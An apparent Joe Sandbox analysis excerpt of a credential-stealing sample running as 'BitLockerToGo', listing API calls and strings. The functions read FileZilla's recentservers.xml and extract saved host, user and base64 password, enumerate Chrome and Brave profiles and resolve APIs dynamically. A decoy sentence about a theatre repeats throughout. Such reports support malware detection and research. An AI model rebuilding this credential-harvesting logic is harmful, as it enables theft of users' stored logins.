The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 027545DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 027546B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 027545D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 027545F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0275462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 027545C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754678

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 7e2b58d7c1ae464b622d95ee245de771da5cd8bcdffd8ae58143d3fe488eaa4b
Instruction ID: 7dc31b8d88e4b25c22ab0d2461b877cb5e2649e19b3f6bf1673113398280e915
Opcode Fuzzy Hash: 7e2b58d7c1ae464b622d95ee245de771da5cd8bcdffd8ae58143d3fe488eaa4b
Instruction Fuzzy Hash: F641BCB9A80304EBFB15AFE4E88DE9D7F75EB49606B60C864FD039D100D6B09521DB32

Function 02760250 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 02768DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 02768E0B

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 027599C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 027599EC
Part of subcall function 027599C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 02759A11
Part of subcall function 027599C0: LocalAlloc.KERNEL32(00000040,?), ref: 02759A31
Part of subcall function 027599C0: ReadFile.KERNEL32(000000FF,?,00000000,027602E7,00000000), ref: 02759A5A
Part of subcall function 027599C0: LocalFree.KERNEL32(027602E7), ref: 02759A90
Part of subcall function 027599C0: CloseHandle.KERNEL32(000000FF), ref: 02759A9A

Part of subcall function 02768E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 02768E52

strtok_s.MSVCRT ref: 0276031B
GetProcessHeap.KERNEL32(00000000,000F423F,02770DBA,02770DB7,02770DB6,02770DB3), ref: 02760362
RtlAllocateHeap.NTDLL(00000000), ref: 02760369
StrStrA.SHLWAPI(00000000,<Host>), ref: 02760385
lstrlen.KERNEL32(00000000), ref: 02760393

Part of subcall function 027688E0: malloc.MSVCRT ref: 027688E8
Part of subcall function 027688E0: strncpy.MSVCRT ref: 02768903

StrStrA.SHLWAPI(00000000,<Port>), ref: 027603CF
lstrlen.KERNEL32(00000000), ref: 027603DD
StrStrA.SHLWAPI(00000000,<User>), ref: 02760419
lstrlen.KERNEL32(00000000), ref: 02760427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 02760463
lstrlen.KERNEL32(00000000), ref: 02760475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02770DB2), ref: 02760502
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0276051A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 02760532
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0276054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 02760562
lstrcat.KERNEL32(?,profile: null), ref: 02760571
lstrcat.KERNEL32(?,url: ), ref: 02760580
lstrcat.KERNEL32(?,00000000), ref: 02760593
lstrcat.KERNEL32(?,02771678), ref: 027605A2
lstrcat.KERNEL32(?,00000000), ref: 027605B5
lstrcat.KERNEL32(?,0277167C), ref: 027605C4
lstrcat.KERNEL32(?,login: ), ref: 027605D3
lstrcat.KERNEL32(?,00000000), ref: 027605E6
lstrcat.KERNEL32(?,02771688), ref: 027605F5
lstrcat.KERNEL32(?,password: ), ref: 02760604
lstrcat.KERNEL32(?,00000000), ref: 02760617
lstrcat.KERNEL32(?,02771698), ref: 02760626
lstrcat.KERNEL32(?,0277169C), ref: 02760635
strtok_s.MSVCRT ref: 02760679
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02770DB2), ref: 0276068E
memset.MSVCRT ref: 027606DD

Strings

<User>, xrefs: 02760410
password: , xrefs: 027605FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 027602A4
login: , xrefs: 027605CA
browser: FileZilla, xrefs: 02760559
<Host>, xrefs: 0276037C
url: , xrefs: 02760577
<Port>, xrefs: 027603C6
profile: null, xrefs: 02760568
<Pass encoding="base64">, xrefs: 0276045A

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeapstrtok_s$AllocateCloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 3689735781-555421843
Opcode ID: 650fa9ef0236c35ba60debfdef7d45fead8956543f2c811761fc7418b025ca8a
Instruction ID: 06900bea3ad47126664ff37c51be9639cbecdc6b281ba202e9afc0b3a8100a78
Opcode Fuzzy Hash: 650fa9ef0236c35ba60debfdef7d45fead8956543f2c811761fc7418b025ca8a
Instruction Fuzzy Hash: E4D11AB1D50209ABDB05EBE4DD9DEFE7779EF14710F504418E906B6080EE75AA0ACFA0

Function 02769860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,029D32B0), ref: 027698A1
GetProcAddress.KERNEL32(74DD0000,029D32C8), ref: 027698BA
GetProcAddress.KERNEL32(74DD0000,029D32E0), ref: 027698D2
GetProcAddress.KERNEL32(74DD0000,029D32F8), ref: 027698EA
GetProcAddress.KERNEL32(74DD0000,029D3310), ref: 02769903
GetProcAddress.KERNEL32(74DD0000,029D3328), ref: 0276991B
GetProcAddress.KERNEL32(74DD0000,029D4328), ref: 02769933
GetProcAddress.KERNEL32(74DD0000,029D4348), ref: 0276994C
GetProcAddress.KERNEL32(74DD0000,029D3338), ref: 02769964
GetProcAddress.KERNEL32(74DD0000,029D4368), ref: 0276997C
GetProcAddress.KERNEL32(74DD0000,029D4380), ref: 02769995
GetProcAddress.KERNEL32(74DD0000,029D04B0), ref: 027699AD
GetProcAddress.KERNEL32(74DD0000,029D04C8), ref: 027699C5
GetProcAddress.KERNEL32(74DD0000,029D7398), ref: 027699DE
GetProcAddress.KERNEL32(74DD0000,029D7488), ref: 027699F6
GetProcAddress.KERNEL32(74DD0000,029D04E8), ref: 02769A0E
GetProcAddress.KERNEL32(74DD0000,029D7320), ref: 02769A27
GetProcAddress.KERNEL32(74DD0000,029D73C8), ref: 02769A3F
GetProcAddress.KERNEL32(74DD0000,029D0508), ref: 02769A57
GetProcAddress.KERNEL32(74DD0000,029D7458), ref: 02769A70
GetProcAddress.KERNEL32(74DD0000,029D0528), ref: 02769A88
LoadLibraryA.KERNEL32(029D73B0,?,02766A00), ref: 02769A9A
LoadLibraryA.KERNEL32(029D74B8,?,02766A00), ref: 02769AAB
LoadLibraryA.KERNEL32(029D7350,?,02766A00), ref: 02769ABD
LoadLibraryA.KERNEL32(029D7338,?,02766A00), ref: 02769ACF
LoadLibraryA.KERNEL32(029D7368,?,02766A00), ref: 02769AE0
GetProcAddress.KERNEL32(75A70000,029D73F8), ref: 02769B02
GetProcAddress.KERNEL32(75290000,029D7380), ref: 02769B23
GetProcAddress.KERNEL32(75290000,029D7410), ref: 02769B3B
GetProcAddress.KERNEL32(75BD0000,029D73E0), ref: 02769B5D
GetProcAddress.KERNEL32(75450000,029D0548), ref: 02769B7E
GetProcAddress.KERNEL32(76E90000,029D0568), ref: 02769B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 02769BB6

Strings

NtQueryInformationProcess, xrefs: 02769BAA

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: aa0dcfb157ab4813e89bd337b66d9f594d49a0c53c6e21a99b7843af70453602
Instruction ID: 858882e61bd2774a12de095b88c50bea98ed3299f99db4454a70c84f98264371
Opcode Fuzzy Hash: aa0dcfb157ab4813e89bd337b66d9f594d49a0c53c6e21a99b7843af70453602
Instruction Fuzzy Hash: BAA19DB5D9C2009FD344EFAEE9A997637F9F75C3213184D1AA609C3214D73A9861CF90

Function 0275BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

FindFirstFileA.KERNEL32(00000000,?,02770B32,02770B2B,00000000,?,?,?,027713F4,02770B2A), ref: 0275BEF5
StrCmpCA.SHLWAPI(?,027713F8), ref: 0275BF4D
StrCmpCA.SHLWAPI(?,027713FC), ref: 0275BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0275C7BF
FindClose.KERNEL32(000000FF), ref: 0275C7D1

Strings

Google Chrome, xrefs: 0275C634
Preferences, xrefs: 0275C11E
Brave, xrefs: 0275C102
\Brave\Preferences, xrefs: 0275C1DB

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 97243fe644f92d47fb9b05d2ebd6302e5c6840ff68a7370c11f95b893a46ec3c
Instruction ID: 8119ecada03df3470db9e6ff0f94b4f1da5c6db357c7ecd1d6e0b04743d132ee
Opcode Fuzzy Hash: 97243fe644f92d47fb9b05d2ebd6302e5c6840ff68a7370c11f95b893a46ec3c
Instruction Fuzzy Hash: F24243729101199BDB16FB70DD9DEFE737EAB54300F404568AD0AA6180EF349B49CFA1

Function 6C7F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C87F688,00001000), ref: 6C7F35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7F35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C7F35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C7F363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C7F369F
__aulldiv.LIBCMT ref: 6C7F36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C7F3773
EnterCriticalSection.KERNEL32(6C87F688), ref: 6C7F377E
LeaveCriticalSection.KERNEL32(6C87F688), ref: 6C7F37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C7F37C4
EnterCriticalSection.KERNEL32(6C87F688), ref: 6C7F37CB
LeaveCriticalSection.KERNEL32(6C87F688), ref: 6C7F3801
__aulldiv.LIBCMT ref: 6C7F3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C7F3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C7F3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C7F394C

Strings

QPC, xrefs: 6C7F38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C7F35DB
AuthcAMDenti, xrefs: 6C7F3946
GTC, xrefs: 6C7F3912
GenuntelineI, xrefs: 6C7F3639

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 9c69248761cf03cd21d8b3cdd423637ec9c7653cf38654fcac85733468db0f37
Instruction ID: 93799502dac207e4181d460b23aebe17e0339bc22b5827bb3ccf07f66bb52ddc
Opcode Fuzzy Hash: 9c69248761cf03cd21d8b3cdd423637ec9c7653cf38654fcac85733468db0f37
Instruction Fuzzy Hash: A4B19271B082209FDB29DF29C58865E7BF5BB99708F04893DE4A9D7750E7349801CBE2

Function 02764910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0276492C
FindFirstFileA.KERNEL32(?,?), ref: 02764943
StrCmpCA.SHLWAPI(?,02770FDC), ref: 02764971
StrCmpCA.SHLWAPI(?,02770FE0), ref: 02764987
FindNextFileA.KERNEL32(000000FF,?), ref: 02764B7D
FindClose.KERNEL32(000000FF), ref: 02764B92

Strings

%s\%s, xrefs: 027649A4
%s\%s, xrefs: 027649FB
%s\*, xrefs: 02764920

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
